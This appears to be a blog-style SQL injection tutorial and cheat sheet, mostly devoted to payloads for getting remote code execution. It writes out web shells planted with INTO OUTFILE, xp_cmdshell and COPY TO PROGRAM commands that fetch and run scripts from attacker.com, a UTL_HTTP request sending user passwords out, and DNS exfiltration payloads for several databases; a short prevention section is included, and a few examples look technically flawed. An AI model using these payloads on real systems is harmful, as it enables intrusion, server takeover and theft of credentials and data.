Table of Contents
- What is SQL Injection?
- How Does SQL Injection Work?
- Types of SQL Injection
- Impacts of SQL Injection
- How to get RCE From SQL injection
- Advanced Scenarios for Achieving RCE via SQL Injection
- How to Prevent SQL Injection
- SQL Injection Cheat Sheet
- String Concatenation
- Substring
- Comments
- Database Version
- Database Contents
- Conditional Errors
- Extracting Data via Visible Errors
- Batched (Stacked) Queries
- Time Delays
- DNS Lookup
SQL Injection (SQLi)
What is SQL Injection?
SQL Injection (SQLi) is a web security vulnerability that allows attackers to interfere with the queries an application makes to its database. It occurs when user input is improperly handled and incorporated into SQL statements, enabling attackers to:
- Access unauthorized data: View sensitive information like user details or application data.
- Modify or delete data: Alter or erase content in the database, causing persistent changes.
- Compromise the server: Escalate the attack to gain control over the database server or back-end infrastructure.
- Perform Denial-of-Service (DoS): Disrupt the database’s functionality with heavy or malicious queries.
How Does SQL Injection Work?
- Applications often take user input (e.g., username, password) and embed it into SQL queries.
- If the input is not properly sanitized, attackers can inject malicious SQL code into these queries.
Example:
A vulnerable query might look like this:
SELECT * FROM users WHERE username = 'Amr' AND password = '12345';If an attacker inputs ' OR '1'='1 as the username, the query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '12345';The condition '1'='1' is always true, allowing the attacker to bypass authentication.
Types of SQL Injection
- In-band SQLi:
- Error-based SQLi: Exploits database error messages to gain information.
- Union-based SQLi: Combines results from multiple queries using the
UNIONkeyword.
- Blind SQLi:
- Boolean-based SQLi: Observes application behavior by sending true/false conditions.
- Time-based SQLi: Uses delays (e.g.,
SLEEP) to infer results based on response times.
- Out-of-Band SQLi:
- Uses external resources like DNS or HTTP requests to extract data.
Impacts of SQL Injection
- Unauthorized access to sensitive data.
- Data manipulation or deletion.
- Compromise of server or infrastructure.
- Denial of service to legitimate users.
How to get RCE From SQL injection
Check Database Capabilities:
- Identify functions or commands that can execute system-level operations.
Examples by Database:
- MySQL:
LOAD_FILE()for reading files.INTO OUTFILEfor writing files.
- PostgreSQL:
COPYfor writing files.pg_read_file()for reading files.
- Microsoft SQL Server:
xp_cmdshellfor executing system commands.
Write Malicious Scripts:
- If file-writing is possible, create a backdoor or script to execute commands.
Example in MySQL:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';This creates a
shell.phpfile that can execute commands via thecmdparameter.Execute System Commands:
- Directly run system-level commands if supported by the database.
Example in SQL Server:
EXEC xp_cmdshell 'whoami';Leverage External Channels:
- Use database functions that allow external requests (e.g., DNS, HTTP) to extract or execute data.
Analyze Privileges:
- Check for privilege escalation opportunities to gain higher-level access.
Upload Malicious Files:
- Exploit file-upload capabilities to deploy executables or scripts.
Advanced Scenarios for Achieving RCE via SQL Injection
1. Exploiting System Functions in Databases
Scenario:
Some databases include built-in functions that allow direct execution of system commands.
Example in Microsoft SQL Server:
EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"';- This command downloads and executes a malicious PowerShell script, granting full control over the system.
Notes:
- Requires elevated privileges (admin) to enable
xp_cmdshellif it is disabled.
2. Writing Malicious Files to the Server
Scenario:
Use file-writing functions such as INTO OUTFILE in MySQL or COPY in PostgreSQL to create malicious files on the server.
Example in MySQL:
- Writing a web shell to a web directory:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';- Execute system commands via the browser:
http://victim.com/shell.php?cmd=whoamiNotes:
- Requires write permissions on the target directory.
3. Leveraging External Connections
Scenario:
Use external connection functions like DNS or HTTP to extract data or execute code.
Example in PostgreSQL:
- Using the
COPYfunction to write data to an external HTTP server:
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO PROGRAM 'curl -d @- http://attacker.com/shell.php';Notes:
- The server must have permissions to execute system commands.
4. Uploading Malicious Libraries
Scenario:
Upload malicious DLL files to the system and execute them.
Example in Microsoft SQL Server:
- Upload and execute a malicious DLL:
EXEC sp_addextendedproc 'xp_cmdshell', 'C:\path\to\malicious.dll';
EXEC xp_cmdshell 'whoami';Notes:
- Requires advanced privileges and the ability to upload files.
5. Exploiting Custom Functions (User-Defined Functions)
Scenario:
Create a custom function containing malicious code to execute system commands.
Example in PostgreSQL:
- Creating a custom function:
CREATE OR REPLACE FUNCTION exec_cmd(cmd text) RETURNS void AS $$
BEGIN
EXECUTE cmd;
END;
$$ LANGUAGE plpgsql;- Then calling the function:
SELECT exec_cmd('wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh');6. Data Exfiltration with RCE
Scenario:
Use SQL Injection to pass data to an external service while executing commands.
Example in Oracle:
- Exploiting the
UTL_HTTPfunction to send HTTP requests containing sensitive data:
BEGIN
UTL_HTTP.REQUEST('http://attacker.com/collect?data=' || (SELECT password FROM users WHERE id=1));
END;- Combine this with an HTTP response containing malicious commands.
7. Uploading and Extracting Files via Storage Functions
Scenario:
Upload malicious files to the server using storage functions or BLOB data.
Example in MySQL:
- Writing a ZIP file containing malicious code:
SELECT LOAD_FILE('/path/to/malicious.zip') INTO DUMPFILE '/var/www/html/malicious.zip';- Extract and execute the code.
Important Notes:
- Privilege Analysis:
- Ensure the level of database user privileges, as some scenarios require elevated permissions.
- Confirm Vulnerability:
- Not all databases support the same functions. Test the target environment carefully.
- Use External Channels:
- If direct commands are disabled, use channels like DNS or HTTP for data extraction and attack execution.
By understanding and applying these advanced techniques, attackers can achieve RCE in complex environments. Mitigation strategies should focus on minimizing privileges, validating input, and monitoring database activity.
How to Prevent SQL Injection
Use Prepared Statements (Parameterized Queries):
Avoid embedding user input directly into SQL queries.
Example in Python:
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
Input Validation:
- Filter and sanitize all user inputs.
- Reject unexpected characters like single quotes (
') or SQL keywords.
Use Least Privilege Principle:
- Limit database user permissions to only what’s necessary.
Error Handling:
- Disable detailed database error messages in production.
Web Application Firewall (WAF):
- Use a WAF to detect and block SQLi attempts.
SQL Injection Cheat Sheet
String Concatenation
Concatenate multiple strings to form a single string:
- Oracle:
'foo'||'bar' - Microsoft:
'foo'+'bar' - PostgreSQL:
'foo'||'bar' - MySQL:
'foo' 'bar'(space between strings) orCONCAT('foo','bar')
Substring
Extract part of a string from a specified offset and length (offset is 1-based):
- Oracle:
SUBSTR('foobar', 4, 2) - Microsoft:
SUBSTRING('foobar', 4, 2) - PostgreSQL:
SUBSTRING('foobar', 4, 2) - MySQL:
SUBSTRING('foobar', 4, 2)
Comments
Truncate a query and remove subsequent parts:
- Oracle:
-comment - Microsoft:
-commentor/*comment*/ - PostgreSQL:
-commentor/*comment*/ - MySQL:
#comment,- comment(note the space), or/*comment*/
Database Version
Identify database type and version:
- Oracle:
SELECT banner FROM v$versionSELECT version FROM v$instance
- Microsoft:
SELECT @@version - PostgreSQL:
SELECT version() - MySQL:
SELECT @@version
Database Contents
List tables and columns:
- Oracle:
SELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
- Microsoft:
SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
- PostgreSQL:
SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
- MySQL:
SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
Conditional Errors
Test a condition and trigger an error if true:
- Oracle:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual - Microsoft:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END - PostgreSQL:
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) - MySQL:
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
Extracting Data via Visible Errors
Elicit error messages that leak data:
- Microsoft:
SELECT 'foo' WHERE 1 = (SELECT 'secret')- Error: Conversion failed when converting the varchar value ‘secret’ to data type int.
- PostgreSQL:
SELECT CAST((SELECT password FROM users LIMIT 1) AS int)- Error: invalid input syntax for integer: “secret”
- MySQL:
SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))- Error: XPATH syntax error: ‘\secret’
Batched (Stacked) Queries
Execute multiple queries in succession (results not returned):
- Oracle: Not supported.
- Microsoft:
QUERY-1-HERE; QUERY-2-HERE - PostgreSQL:
QUERY-1-HERE; QUERY-2-HERE - MySQL:
QUERY-1-HERE; QUERY-2-HERE- Note: Limited support; depends on specific APIs used by the application.
Time Delays
Cause a time delay in query processing (10 seconds):
- Oracle:
dbms_pipe.receive_message(('a'),10) - Microsoft:
WAITFOR DELAY '0:0:10' - PostgreSQL:
SELECT pg_sleep(10) - MySQL:
SELECT SLEEP(10)
Conditional Time Delays
Trigger a time delay if a condition is true:
- Oracle:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual - Microsoft:
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' - PostgreSQL:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END - MySQL:
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
DNS Lookup
Cause the database to perform a DNS lookup to an external domain:
- Oracle:
- Vulnerable versions:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual - Fully patched versions (requires elevated privileges):
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
- Vulnerable versions:
- Microsoft:
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' - PostgreSQL:
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' - MySQL (Windows only):
LOAD_FILE('\\BURP-COLLABORATOR-SUBDOMAIN\a')SELECT ... INTO OUTFILE '\\BURP-COLLABORATOR-SUBDOMAIN\a'
DNS Lookup with Data Exfiltration
Exfiltrate query results via DNS lookup:
Oracle:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dualMicrosoft:
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')PostgreSQL:
create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();MySQL (Windows only):
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\BURP-COLLABORATOR-SUBDOMAIN\a'
Happy Hacking Broo
